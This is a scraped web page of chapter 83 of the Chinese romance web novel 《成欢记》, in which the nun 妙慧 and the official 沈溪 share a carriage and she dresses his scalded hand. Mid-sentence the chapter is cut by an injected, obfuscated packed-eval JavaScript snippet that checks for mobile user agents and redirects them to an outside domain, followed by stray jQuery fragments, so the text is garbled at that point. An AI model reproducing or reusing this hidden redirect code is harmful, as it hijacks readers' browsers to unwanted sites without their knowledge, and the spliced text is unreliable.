83. 和平共处

作品:《成欢记

    就在妙慧眼瞅着就要扑在盛满沸水的茶壶上的时候,忽觉后背被一股强大的力道拽离,随即整个人就倒进了一个结实又温热的怀里。


    她惊魂未定,怔愣地看着面前的男子,脑中一片空白。


    两人当下的情形,沈溪坐在她刚才所坐的位子上,她则被紧搂在他胸前,周身弥漫的全是男子身上的松香味道。霎那间,沈溪在大慈恩寺月夜醉酒误闯她寮房的情形,再度浮现在妙慧的脑海。


    就是从那时起,她与沈溪之间接二连三总有不可思议之事发生。她越是躲越想逃,却偏偏冥冥中总有一根丝线将他们二人往一处系。


    “可是被吓傻了?”妙慧正在失神,耳边忽然传来沈溪的声音。她心中一惊,急忙要挣脱,可身子刚离开沈溪的胸口一寸,就硬生生地又被拽了回去。


    “小沈大人,你要做什么?”妙慧被沈溪有力的双臂箍着,饶是怎么挣扎都白费力气。她又羞又急,不禁脱口问道。


    “本官刚救了妙慧师尼一回,让你免遭烫伤之危,怎么?这么快就翻脸不认人了?”沈溪声音森寒,似乎正强压着心中的愠怒。


    沈溪此言一出,妙慧登时就被吓住,下意识停了想要逃离的心思。


    在沈溪看来,他为了帮普宁庵补上瓷青纸的缺,不惜冒着有损官声和清誉的风险,半夜约林映雪私下相会。林映雪对他是什么心思,他如何不知?可即便这样,他也愿牺牲色相奉陪到底,还不是想尽力为普宁庵避免一场祸事?


    可妙慧呢?不仅不领他的情、念他的好,反而对他愈加疏远,诵经课上甚至连个正眼都不得瞧见。虽说那日他对妙慧行非礼之举有所不该,但那确实是情难自抑,何况事后他也写信道歉,甚至还主动剖白。


    他平生洒脱不羁,从未对哪个女子如此牵肠挂肚,可妙慧收信之后一不回应,二不告知何时动身,若不是昭儿鬼机灵地从林映雪那里打听到王展樊的安排,还真就让妙慧悄无声息地走了。


    真是一丁点儿都没把他放在眼里!


    “妙慧菩萨,小沈大人,可有什么需要奴婢做的?”这时,柳叶探问的声音在车门外响起。马车在冬日里都换上了厚实的棉门帘,她坐在车架上感觉车内有响动却又听不真切,便小心问道。


    然而车内二人却是“做贼心虚”,生怕下一秒柳叶就会闯进来,撞见他们抱在一处的情形。沈溪终于不情愿地松开了手,妙慧则慌张地起身避到一旁。


    两人几乎同时对车门处回道:


    “不必!”


    “没有!”


    “哦,那就好。若是有什么需要,尽管唤我便是。”柳叶叮嘱道,心里暗自觉得好笑,这一官一尼的还挺默契。她巴不得不用干活乐得清闲,便继续和老秦头唠起了家常。


    沈溪与妙慧四目盯着车门处看好一会儿,确认她不会进来后,才不约而同地长出了口气。


    “妙......”


    “小沈大人,你若再说下去,贫尼就只有下车了!”


    沈溪本想让妙慧回坐到座位上,他见炭炉旁有个矮凳,打算自己坐到那里。可没成想刚一开口,就被妙慧堵了回来。


    妙慧不愿亦不想再与沈溪多说,她拉过矮凳靠着车壁一侧坐下,随后紧闭双眸,轻捻佛珠,用打坐来逃避沈溪的纠缠。


    沈溪无奈得叹了口气,但他也不想将妙慧逼得太紧,要不反而会弄巧成拙,便从包袱里拿了本近日看的书。于是,这两人,一个打坐,一个看书,倒也相安无事。


    “哒哒哒,哒哒哒......”炭炉上,茶壶内冒出的热气时不时将壶盖顶起,声音在平静的车厢里显得尤为响亮。


    “昭儿......”沈溪的目光一错不错地停在书页上,听到水开的声音,下意识地就喊昭儿去泡茶。但话一出口,他才想起这不是他住的寮房,昭儿也压根儿就没跟来。


    好在沈溪不是一个事事都要人伺候的主子,他撂下书,伸手就去取炭炉上的茶壶。只是他毕竟没怎么干过这种活,完全没有经验,手刚碰一到壶柄,皮肉瞬间就被壶内喷出的热浪狠狠地灼到。


    “啊!”一股爆裂的灼痛直抵手心,沈溪不受控制地叫了出来。可一抬眼,他瞥见妙慧仍在闭目打坐,又担心被车外的柳叶听到,不得已只好用另一只手捂了嘴,改为低声不停地抽气。


    妙慧这时已入定许久,心神稳了许多。如果可以,她真希望能够一直这样,直到王员外府上。猛然听到沈溪的叫嚷,她以为又是他设的“陷阱”,不过就是想诱她“上当”,继续听他说那些不能入耳的混话。她克制自己不去理睬,依旧在心中默念经文。


    “嘶~嘶~”


    “嘶~嘶~”


    奈何那被刻意压低的抽气声一直在狭小的车厢内徘徊,饶是妙慧再怎么凝神定气也很难不受干扰,她渐渐起了烦乱。


    “究竟是怎么了?”心里胡乱猜着,偏偏那只壶盖越跳越欢,彻底搅碎了妙慧努力维持的平静。两人同车而行,若是沈溪出事,她不可能置之不理。


    “罢了!”咬牙又坚持了几息的工夫,妙慧终于睁开了眼。


    一个通红的手掌心毫无预兆地闯入视野,她惊得当即从矮凳上站了起来,蹙眉急切地问道:“小沈大人,你怎么弄成了这样?”


    “无妨。”沈溪强装无事,冲妙慧勉强挤出一个笑容,“适才我见水开了,本想取下茶壶泡茶,没成想被热气灼伤了手......我是不是扰到你打坐了?”


    妙慧闻言,又去看沈溪的手。这手虽比不上女儿家的肌肤细嫩,却白净修长、骨节分明。如今手掌处红肿一片,着实刺目。妙慧也曾被热水烫到过,知道这种伤如果不加处理,会如针扎般的刺痛。难为沈溪在这个时候还关心是否扰到了自己,也不知他是如何忍下来的。


    “当真是个冤家!”妙慧在心里无声地叹了口气。


    “你且稍等,我随身带了香膏。那膏虽不能治烫伤,但有清凉镇痛之效。你涂上一些,总归能好受些。”说着,她从包袱里的一个小布袋中找出一只珐琅盒子。这香膏是清竹特意为她带上的,没想到竟在此刻派上了用场。


    沈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283888|175678||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    溪知道这香膏珍贵无比,本想拒绝,但见妙慧已将盒子递了过来,想着两人之间的气氛好不容易才有所缓和,便也不再说什么。不过,他打算日后让宫里的太医研究研究,争取把制这膏的方子复刻出来,这样就不用担心妙慧日后没的用了。


    因着突发这么一桩事故,两人竟是把刚才的种种都撂在了脑后。


    沈溪接过香膏便去拧盖子,可因为只剩一只手能用,他左拧右拧那盒盖纹丝未动。


    妙慧将煮沸的茶壶小心从炭炉上取下,又将通气的火门仅留一道小缝,见火苗小了许多,这才放下心。待转过身,见沈溪正皱眉对着盒盖发愁,她不免觉得好笑,便对他道:“小沈大人,还是我来吧。”


    “这如何使得?”沈溪虽然欢喜妙慧对他又恢复了正常的态度,但他始终将妙慧奉为仙子一般的人物。尽管她也不是第一次为他上药,但这种服侍人的事总归不该是她做的。


    妙慧此时却只当沈溪是一个病患,并没有思虑太多。她没有理会沈溪的拒绝,而是从他手里拿过香膏,径直打开了盖子。


    凝脂般的膏体在她指腹的轻揉下缓缓柔化,妙慧隔着帕子托起沈溪的手,就在她正要将香膏往沈溪烫伤处涂的时候,手上突然一顿。


    她突然想到了《邶风·击鼓》中的一句:“死生契阔,与子成说。执子之手,与子偕老。”


    “妙慧师尼......”沈溪见妙慧的手悬在半空许久,不禁唤到。


    “抱歉,贫尼一时失神。”妙慧不敢与沈溪对视,生怕被他看出自己的心思。她赶忙将手指轻按在沈溪手心中的红肿处,随后将药膏缓缓推开。


    一丝凉意顺着掌心直达沈溪的心窝,灼烧的痛楚瞬间缓解了许多。见妙慧的目光始终避着自己,沈溪索性闭上眼,仔细地感受着她轻柔的动作。


    这个女子,明明出身高贵,又有一副绝世姿容,却偏偏入了空门,受尽世人的白眼。不懂她的人,很容易被她那拒人千里之外的冰冷模样欺骗,但他却知道,这不过是受过极致创伤后的自我保护。妙慧实则内心至柔至善,当真是一片菩萨心肠。


    这样的女子怎能不让人想去疼惜,想去竭尽全力周全她一生岁月静好呢?


    “小沈大人,药膏已上好了。不过,此药只能缓解一时之痛,等到了王员外府上,可再遣人请大夫为您对症开方。”妙慧边说边将香膏盒子收到布袋内,回过头见沈溪因手上涂着药膏不便活动,便问他要了一条帕子,将敷过药的地方仔细包裹,才算事毕。


    忙活了这一通,两人不免都有些口渴。自打上了马车,二人还没用过茶。以往都有人在旁服侍,自是不需要他们操心这些琐事,但如今清竹和昭儿都没跟来,茶水自是无人准备。


    妙慧让沈溪坐着休息,自己则拉开小几下方的红木雕花抽屉,从里面取出了一个小巧精致的茶罐,亲手泡起了茶。


    不一会儿,车内便茶香四溢。沈溪从妙慧手中接过茶盏,袅袅热气从盏内飘散开去,两人之间微妙的情愫也似乎如这茶水,甘醇馥郁......